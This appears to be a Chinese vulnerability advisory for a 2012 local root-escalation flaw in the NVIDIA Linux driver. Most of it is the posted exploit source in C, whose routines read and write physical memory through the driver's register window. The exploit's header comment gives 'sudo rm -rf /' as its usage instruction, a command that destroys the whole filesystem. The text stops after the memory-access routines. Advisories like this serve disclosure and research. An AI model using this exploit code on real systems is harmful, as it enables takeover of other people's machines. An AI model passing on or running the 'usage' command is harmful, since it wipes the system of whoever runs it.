发布日期:2012-08-01
更新日期:2012-08-03
受影响系统:
NVIDIA Linux Driver
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 54772
NVidia是世界领先的图形处理芯片和显卡制造商。
NVIDIA Linux Driver在实现上存在本地权限提升漏洞,本地攻击者可利用此漏洞提升权限并以root权限执行任意代码,从而控制受影响计算机。
<*来源:anonymous
  *>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
anonymous ()提供了如下测试方法:
/* Anonymous
*
* How to use: sudo rm -rf /
*
* greetz: djrbliss, kad, Ac1dB1tch3z, nVidia!
*
* Only complete fix patch nvidia drivers and redefine
* IS_BLACKLISTED_REG_OFFSET:
#define IS_BLACKLISTED_REG_OFFSET(nv, offset, length) 1
*/
#define _GNU_SOURCE
#include <fcntl.h>
#include <sys/sysinfo.h>
#include <stdint.h>
#include <inttypes.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/inet_diag.h>
#include <string.h>
#include <sys/mman.h>
#include <errno.h>
#include <netinet/in.h>
#include <dirent.h>
#ifdef __x86_64__
#define KERNEL_BASE 0xffffffff80000000L
#else
#define KERNEL_BASE 0xc0000000
#endif
#define ENTRY 0xdc
#define inline __attribute__((always_inline))
#ifdef __x86_64__
#define __kernel
#else
#define __kernel __attribute__((regparm(3)))
#endif
#define __used __attribute((used))
static unsigned long kernel_ofs_phys;
static volatile uint32_t *cve_2012_YYYY;
static void poke_byte(volatile uint32_t *m, uint32_t ofs, uint8_t val)
{
    uint32_t i = (ofs & 3) * 8;
    ofs >>= 2;
    m[ofs] = (m[ofs] & ~(0xff << i)) | (val << i);
}
static void physread16(volatile uint32_t *m, uint32_t target, uint32_t *buffer)
{
    if (1) {
        uint32_t ofs = (target & 0x3ffff)/4, i;
if (target & 0xf) {
            printf("[ ] Function requires 16-byte alignment for input!\n");
            exit(-1);
        }
cve_2012_YYYY[0xf00/4] = 0xb | ((target >> 18) << 10);
        memset(buffer, 0, 16);
        for (i = 0; i < 4; ++i) {
            uint32_t shift = i * 8;
            poke_byte(cve_2012_YYYY, 0x204, i);
            buffer[0] |= (m[ofs/4] & 0xff) << shift;
            buffer[1] |= ((m[ofs/4] & 0xff00) >> 8) << shift;
            buffer[2] |= ((m[ofs/4] & 0xff0000) >> 16) << shift;
            buffer[3] |= ((m[ofs/4] & 0xff000000) >> 24) << shift;
        }
    }
}
static void physwrite16(volatile uint32_t *m, uint32_t target, uint32_t *buffer)
{
    if (1) {
        uint32_t i, ofs = (target & 0x3ffff)/4;
        if (target & 0xf) {
            printf("[ ] Function requires 16-byte alignment for output!\n");
            exit(-1);
        }
cve_2012_YYYY[0xf00/4] = 0xb | ((target >> 18) << 10);
for (i = 0; i < 4; ++i) {
            int shift = 8 * i;
            uint32_t val;
            poke_byte(cve_2012_YYYY, 0x102, 1<<i);
            val = (buffer[0] >> shift) & 0xff;
            val |= ((buffer[1] >> shift) & 0xff) << 8;
            val |= ((buffer[2] >> shift) & 0xff) << 16;
            val |= ((buffer[3] >> shift) & 0xff) << 24;
            m[ofs/4] = val;
        }
    }
}
